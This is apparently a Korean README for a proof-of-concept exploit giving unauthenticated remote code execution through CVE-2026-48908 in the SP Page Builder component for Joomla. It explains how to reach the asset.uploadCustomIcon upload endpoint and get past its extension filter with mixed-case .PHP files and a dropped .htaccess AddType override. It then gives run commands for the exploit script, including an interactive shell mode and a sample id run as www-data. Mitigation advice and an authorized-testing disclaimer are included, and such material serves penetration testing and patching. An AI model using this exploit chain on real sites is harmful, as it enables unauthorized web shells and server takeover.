
인증되지 않은 RCE PoC for CVE-2026-48908 — Joomla용 SP Page Builder (≤ 6.6.1): asset.uploadCustomIcon을 통한 임의 파일 업로드. 자체 정리, 토큰 보호. 인가된 테스트만 허용.
CVE-2026-48908에 대한 개념 증명 익스플로잇입니다. JoomShaper의 Joomla용 SP Page Builder 컴포넌트(com_sppagebuilder)에서 발견된 심각한 (CVSS 4.0 = 10.0) 인증되지 않은 원격 코드 실행 취약점입니다.
| CVE | CVE-2026-48908 |
| 취약점 유형 | CWE-284 부적절한 액세스 제어 → 인증되지 않은 임의 파일 업로드 → RCE |
| 컴포넌트 | Joomla용 SP Page Builder (com_sppagebuilder) |
| 영향받는 버전 | 1.0.0 – 6.6.1 |
| 수정 버전 | 6.6.2 |
| 필요 권한 | 없음 (사전 인증) |
| 사용자 상호작용 | 없음 |
SP Page Builder는 사용자 정의 아이콘 폰트 패키지를 업로드하기 위해 컨트롤러 작업 **asset.uploadCustomIcon**을 노출합니다:
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
영향을 받는 버전에서는 이 작업에 인증 없이, 유효한 anti-CSRF 토큰 없이 접근할 수 있습니다. ZIP 아카이브(multipart 필드 custom_icon)를 받아 문서 루트 아래의 공개적으로 웹 서비스되는 디렉터리에 내용을 추출합니다:
/media/com_sppagebuilder/assets/iconfont/<name>/ (fonts/ 하위 폴더 포함)
업로드가 사전 인증 상태에서 가능하고 추출된 파일이 웹 루트에 위치하므로, 공격자는 공격자 제어 파일을 탐색 가능한 위치에 작성하고 HTTP를 통해 접근할 수 있습니다.
일부 빌드에서는 아카이브 항목에 서버 측 파일 이름 필터를 추가합니다. 이 PoC는 일반적인 구현을 세 단계 체인으로 우회합니다:
.php, .phtml, .phar, .php3–.php8, .pht, .inc 등을 거부하지만, 대소문자를 정규화하지 않으므로 .PHP (및 기타 대소문자 혼합 변형)와 **.htaccess**는 통과합니다.<FilesMatch "\.php$">)는 소문자 .php만 실행하므로 업로드된 .PHP는 처음에 소스 텍스트로 제공되며 실행되지 않습니다..htaccess 재정의. AddType application/x-httpd-php .PHP를 포함하는 (차단 목록도 놓침)가 페이로드와 함께 드롭됩니다. 가 허용되는 경우, 이는 를 PHP로 등록하고 업로드된 셸이 됩니다.PoC는 항상 유효한 아이콘 폰트 구조(selection.json, style.css, fonts/<name>.ttf)를 패키징하여 업로드가 수락되도록 한 후 셸을 추가합니다.
적응형 — 가장 작은 설치 공간부터 PHP 실행 가능 확장자 목록을 순회한 후 .htaccess 대체 방식을 사용하며, 실제로 코드가 실행되는 첫 번째 방법에서 중단합니다:
fonts/<shell>.<ext> for each of
php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php. .htaccess 없음.
SP Page Builder의 필터가 각기 다른 집합을 차단하고, 각기 다른 Apache 구성이 다른 확장자를 실행하므로 — 이 방법은 대상이 허용하고 또한 실행하는 조합을 찾습니다.fonts/.htaccess + fonts/<shell>.PHP (대체 방식) — 모든 직접 시도가 실패한 경우에만 사용됩니다. 드롭된 .htaccess(AddType … .PHP)는 AllowOverride가 허용되는 환경에서 대문자 .PHP를 강제로 실행합니다 (이것이 5.4.6 스타일 호스트에 필요한 방식입니다).실행되는 첫 번째 방법에서 중단하여 어떤 방법이 적용되었는지 출력합니다. 수락된 모든 업로드는 추적되므로 --cleanup은 모든 업로드를 제거합니다 (여러 번 시도하면 쓰기 전용 디렉터리가 남을 수 있음).
버전 및 서버 강화에 따라 결과가 달라지며, PoC는 이를 명시적으로 알려줍니다 (아래 결과 참조): 전체 RCE, 파일 쓰기만 가능 (PHP 비활성화 /
AllowOverride None), 패치됨 (관리자 전용), 또는 취약하지 않음.
pip install -r requirements.txt # requests
# 취약점 확인 및 코드 실행 증명 (`id` 실행)
python3 sppb_rce.py https://target.example
# 특정 명령 실행
python3 sppb_rce.py --url target.example -c "uname -a"
# 대화형 유사 셸
python3 sppb_rce.py https://target.example --shell
# 확인만; 명령 실행하지 않음
python3 sppb_rce.py https://target.example --check
# 이후 업로드된 페이로드 디렉터리 제거
python3 sppb_rce.py https://target.example --cleanup
대상은 위치 인수 또는 --url로 제공할 수 있으며, 스키마가 있거나 없어도 됩니다.
[*] target : https://target.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php -> rejected by filter
[*] try .php3 -> rejected by filter
...
[*] try .PHP -> uploaded, not executed
[*] try .htaccess+.PHP -> EXECUTED
[+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] cleanup: done (4 dirs)
PoC는 항상 대상에 대한 판정을 알려줍니다:
404를 반환합니다 — 전 세계에 열린 백도어가 아닙니다.--cleanup은 생성한 페이로드 디렉터리를 삭제합니다.id, 산술 마커).php_admin_flag engine off를 사용하여 업로드 디렉터리(/media/, /images/, /tmp)에서 PHP 실행 비활성화.AllowOverride None 설정하여 드롭된 .htaccess가 핸들러를 다시 활성화하지 못하도록 함.media/.../iconfont/ 아래에 예상치 못한 .php/.PHP 파일, 새로운 Super User 계정, 설치된 파일 관리자 확인.Joomla SP Page Builder 익스플로잇 · com_sppagebuilder 인증되지 않은 RCE · CVE-2026-48908 PoC · asset.uploadCustomIcon 임의 파일 업로드 · Joomla 원격 코드 실행 · 침투 테스트 익스플로잇 스크립트.
이 소프트웨어는 교육 목적 및 승인된 보안 테스트를 위해서만 게시됩니다 — 예: 서면 허가를 받은 침투 테스트, 대상이 범위에 포함된 버그 바운티 프로그램, CTF 대회, 자신의 실습 시스템.
허가 없이 컴퓨터 시스템에 접근, 수정 또는 방해하는 것은 대부분의 국가에서 불법입니다. 귀하는 자신의 행동에 대해 전적이고 완전한 책임을 집니다. 이 코드를 사용, 다운로드 또는 배포함으로써 다음에 동의하게 됩니다:
이 약관에 동의하지 않으면 이 소프트웨어를 사용하지 마십시오. 공개적으로 이용 가능한 다른 익스플로잇/PoC와 마찬가지로, 이는 방어자가 취약점을 탐지, 이해 및 수정하는 데 도움을 주기 위해 선의로 공유됩니다; 귀하가 이 코드로 무엇을 하는지는 귀하의 책임입니다.
MIT — LICENSE 참조.
.htaccessAllowOverride.PHP| 출력 | 의미 | 종료 코드 |
|---|
CODE EXECUTION CONFIRMED via '<method>' | 취약함 — 완전한 인증되지 않은 RCE | 0 |
[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute | 파일 쓰기만 가능 (AllowOverride None / /media에서 PHP 비활성화) | 3 |
[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+) | 패치됨 — 이제 업로드에 관리자 인증 필요 | 1 |
[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is absent/patched | 익스플로잇 불가 / 컴포넌트 없음 | 2 |